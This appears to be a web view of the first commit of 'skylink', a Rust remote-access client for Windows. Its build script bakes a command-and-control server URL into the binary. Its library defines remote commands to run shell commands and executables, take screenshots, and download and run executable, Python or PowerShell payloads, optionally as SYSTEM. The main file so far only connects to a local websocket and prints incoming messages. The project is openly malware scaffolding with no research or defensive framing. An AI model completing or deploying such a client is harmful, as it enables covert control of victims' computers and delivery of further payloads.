init: basic foundation
This commit is contained in:
commit
df22b0bd5e
10 changed files with 231 additions and 0 deletions
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
/target
|
||||
Cargo.lock
|
||||
flake.lock
|
||||
.env
|
||||
24
Cargo.toml
Normal file
24
Cargo.toml
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
[package]
|
||||
name = "skylink"
|
||||
version = "1.0.0"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] }
|
||||
tokio-tungstenite = "0.28"
|
||||
reqwest = "0.12"
|
||||
serde = "1.0"
|
||||
serde_json = "1.0"
|
||||
windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE OR THE BUILD WILL BREAK
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Com",
|
||||
"Win32_System_Com_Marshal",
|
||||
"Win32_System_Threading"
|
||||
]}
|
||||
anyhow = "1.0.100"
|
||||
futures-util = "0.3.31"
|
||||
|
||||
[build-dependencies]
|
||||
dotenv = "0.15.0"
|
||||
winresource = "0.1"
|
||||
15
LICENSE
Normal file
15
LICENSE
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
|
||||
|
||||
17
build.rs
Normal file
17
build.rs
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
use dotenv::dotenv;
|
||||
use std::env;
|
||||
use winresource;
|
||||
|
||||
fn main() {
|
||||
// Bake C2 server URL into client at build time
|
||||
dotenv().ok();
|
||||
println!("cargo:rerun-if-changed=.env");
|
||||
let c2_server = env::var("C2_SERVER_URL").expect("C2 Server not defined in .env");
|
||||
println!("cargo:rustc-env=C2_SERVER_URL={}", c2_server);
|
||||
|
||||
// Windows compile shit.
|
||||
if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
|
||||
let res = winresource::WindowsResource::new();
|
||||
res.compile().unwrap();
|
||||
}
|
||||
}
|
||||
61
flake.lock
generated
Normal file
61
flake.lock
generated
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
{
|
||||
"nodes": {
|
||||
"flake-utils": {
|
||||
"inputs": {
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1731533236,
|
||||
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1762844143,
|
||||
"narHash": "sha256-SlybxLZ1/e4T2lb1czEtWVzDCVSTvk9WLwGhmxFmBxI=",
|
||||
"owner": "nixos",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "9da7f1cf7f8a6e2a7cb3001b048546c92a8258b4",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nixos",
|
||||
"ref": "nixos-unstable",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs"
|
||||
}
|
||||
},
|
||||
"systems": {
|
||||
"locked": {
|
||||
"lastModified": 1681028828,
|
||||
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"type": "github"
|
||||
}
|
||||
}
|
||||
},
|
||||
"root": "root",
|
||||
"version": 7
|
||||
}
|
||||
17
flake.nix
Normal file
17
flake.nix
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
{
|
||||
description = "Skylink";
|
||||
|
||||
inputs = {
|
||||
nixpkgs.url = "github:nixos/nixpkgs?ref=nixos-unstable";
|
||||
flake-utils.url = "github:numtide/flake-utils";
|
||||
};
|
||||
|
||||
outputs = { self, nixpkgs, flake-utils }:
|
||||
flake-utils.lib.eachDefaultSystem
|
||||
(system:
|
||||
let pkgs = nixpkgs.legacyPackages.${system}; in
|
||||
{
|
||||
devShells.default = import ./shell.nix { inherit pkgs; };
|
||||
}
|
||||
);
|
||||
}
|
||||
2
rustfmt.toml
Normal file
2
rustfmt.toml
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
tab_spaces = 2
|
||||
|
||||
14
shell.nix
Normal file
14
shell.nix
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
{ pkgs ? import <nixpkgs> {} }:
|
||||
with pkgs;
|
||||
mkShell {
|
||||
buildInputs = [
|
||||
pkgsCross.mingwW64.buildPackages.gcc
|
||||
pkgsCross.mingwW64.buildPackages.glibc
|
||||
rustup
|
||||
libpthread-stubs
|
||||
pkg-config
|
||||
openssl
|
||||
];
|
||||
CARGO_TARGET_X86_64_PC_WINDOWS_GNU_RUSTFLAGS = "-L native=${pkgs.pkgsCross.mingwW64.windows.pthreads}/lib";
|
||||
|
||||
}
|
||||
28
src/lib.rs
Normal file
28
src/lib.rs
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum PayloadType {
|
||||
Executable,
|
||||
Python,
|
||||
Powershell,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub struct DnxParams<'a> {
|
||||
pub url: &'a str,
|
||||
pub name: &'a str,
|
||||
pub args: &'a str,
|
||||
pub run_as_system: bool,
|
||||
pub file_type: PayloadType,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum Command<'a> {
|
||||
RunCMD { command: &'a str },
|
||||
URunCMD { command: &'a str },
|
||||
RunExe { path: &'a str, args: &'a str },
|
||||
URunExe { path: &'a str, args: &'a str },
|
||||
ClientInfo,
|
||||
Dnx { params: DnxParams<'a> },
|
||||
Screenshot,
|
||||
}
|
||||
49
src/main.rs
Normal file
49
src/main.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
use futures_util::stream::StreamExt;
|
||||
use skylink::{Command, DnxParams, PayloadType};
|
||||
|
||||
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
|
||||
// weird barely detectable bug pops up, as LLMs tend to generate.
|
||||
async fn websocket_handler() {
|
||||
use std::time::Duration;
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||
|
||||
let url = "ws://127.0.0.1:8080";
|
||||
loop {
|
||||
match connect_async(url).await {
|
||||
Ok(ws_stream_tuple) => {
|
||||
println!("[i] Connected via websocket."); // TODO Use logger over println
|
||||
let (mut ws_stream, _) = ws_stream_tuple;
|
||||
while let Some(msg) = ws_stream.next().await {
|
||||
match msg {
|
||||
Ok(Message::Text(text)) => {
|
||||
println!("{}", &text);
|
||||
}
|
||||
Ok(Message::Close(_)) => {
|
||||
println!("[i] Disconnected.");
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error receiving message: {:?}", e);
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
// Ignore other message types
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[e] Failed to connect: {:?}", e); // TODO logger > println
|
||||
}
|
||||
}
|
||||
println!("[i] Connection lost, reconnecting in 5 seconds...");
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
websocket_handler().await;
|
||||
Ok(())
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue